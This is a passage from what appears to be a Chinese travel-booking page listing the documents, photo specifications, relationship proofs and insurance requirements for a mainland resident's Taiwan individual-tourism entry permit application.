4、至少有3张空白签注页（新版卡式通行证此项不做要求）；
*备注：提供卡式通行证的申请人，请保留好出入境签注办理收据，以便移民署通知增补；*
★照片电子版（JPG格式）
1、24个月内2寸白底彩色证件照（若近期签发通行证，建议提供与通行证一样的白底照片）；
2、不能佩戴眼镜；脸型两侧、两耳轮廓、眉毛需清楚呈现，双唇紧闭；五官需清晰可见，不可被头发遮盖；
3、不接收合成、翻拍、自行电脑打印的照片；
4、对焦需清晰鲜明，自然显现出皮肤的色调；
5、光源需均匀且不能有影子、闪光反射在脸部，不能有红眼；
★身份证彩色电子版（JPG格式）
1、16周岁以上，提供正反面扫描件，脸部需清晰可辨；
2、16周岁以下，提供能体现身份证号码（000开头的身份证号码不可用）的户口簿本人信息页复印件或集体户口页复印件；
*备注：身份证有效期需在行程结束后*
★支持性材料彩色电子版（JPG格式）
一、亲属关系证明（如有随同亲属一起申请，请提供如下证明）：
1、子女和父母同行，提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
2、未满20周岁子女不和父母同行，与爷爷奶奶辈亲属同行，提供：（1）户口簿或亲属关系公证书或公安局开立的证明文件，体现与爷爷奶奶辈亲属关系；（2）父亲或母亲至少一方亲笔签名同意信；（3）体现与父母的亲属关系：出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一；
3、夫妻同行，提供结婚证；
4、如配偶是台湾人，请提供结婚证和切结书；
二、公务员材料：
如您现/曾为国家公务员、警察、党员、海关，包括具有人大代表、政协委员及台办身份者，请据实填写切结书和工作经历：A4纸打印，签名处用黑色水笔中文签名；
三、退休人员提供退休证明彩色扫描件；
四、订房证明（未接通知暂无需提供）；
★随同亲属名册彩色电子版（JPG格式）
如家庭出行，直系血亲（亲生父母、祖父母、外祖父母、子女）及配偶可作为”随同亲属”申请，由主申请人提供一份资产证明，一组申请人只需主申请人提供一份即可，随同亲属无需重复提供；
★学校证明彩色电子版（JPG格式）
1、目前就读学校（大陆正规全日制学校）的学生证彩色扫描件，必须盖有有效期内的学校注册章；
2、近一个月内开具的在校证明彩色扫描件，须加盖学校公章
备注：学生如非单独申请，作为随同亲属申请，无需提供学校证明；
★出行证明电子版（JPG格式）
请下载并打印版完整填写行程表；
★境外保险彩色电子版（JPG格式）
1、提供中国大陆保险公司出具的保单，请通过链接中所列出的单位进行投保，其余单位的保单移民署一概不受理；
2、保险合同需包含旅游伤害、突发疾病医疗及善后费用，其因意外事故死亡最低保险金额须为新台币二百万元（或人民币五十万元），因意外事故所致体伤及突发疾病所致之医疗费用最低保险金额须为新台币五十万元（或人民币十二万五千元），保险应覆盖整个台湾区域的行程天数，保单中写明申请人姓名、上述投保项目及保险额度；
3、您可在下单预订时选择购买保险（如在我司购买保险，保单由我司提供）；
*备注：保单请彩色打印，出行时和通行证，入台证，回程或下一目的地机（船）票或证明一起携带；每次出行都需携带符合要求并涵盖行程的保单；*
其他注意事项
1、此产品为“签证+保险”优惠产品，不接受保险退订或修改，如无需保险请选择其他产品；
2、申请成功后携程会将您的电子入台证上传到我的携程订单中，请使用分辨率不低于600dpi、可打印A4纸的彩色激光打印机单面打印的入台证；出行时请携带：大陆居民往来台湾通行证，入台证彩色打印件，保单彩色打印件，回程或下一目的地机（船）票或证明；
3、如主申请人不出行，副申请人也无法出行；副申请人必须与主申请人同时或晚于主申请人入境（副申请人是否可正常晚入境，请自行提前与当地边防做好确认）；副申请人必须与主申请人同时或早于主申请人离境；
4、如您现有有效入台证，请先进行撤销，之后才能正常办理；
5、从事通讯行业人员申请个人游入台证，存在被移民署退件的情况，建议改申请专业、商务活动为事由；
6、入台证材料电子版可以扫描、拍照提供，图片需清晰，勿反光；
酒店礼物信息
酒店礼物信息
通过手机扫描此二维码分享
分享给朋友
分享的官方攻略（网友游记）链接将发送到您填写的邮箱。
一小时最多能推荐10个好友，请稍候再试。
* 您的姓名：
* 您的邮箱：
* 发送到：
* 验证码：
发送失败，请稍候尝试
已订完，请重新选择
 |  |  |  |  |  |  |  |  |  
|  |  |  |  |  | 
 |  |  |  |  |  |  |  |  | , . All rights reserved. |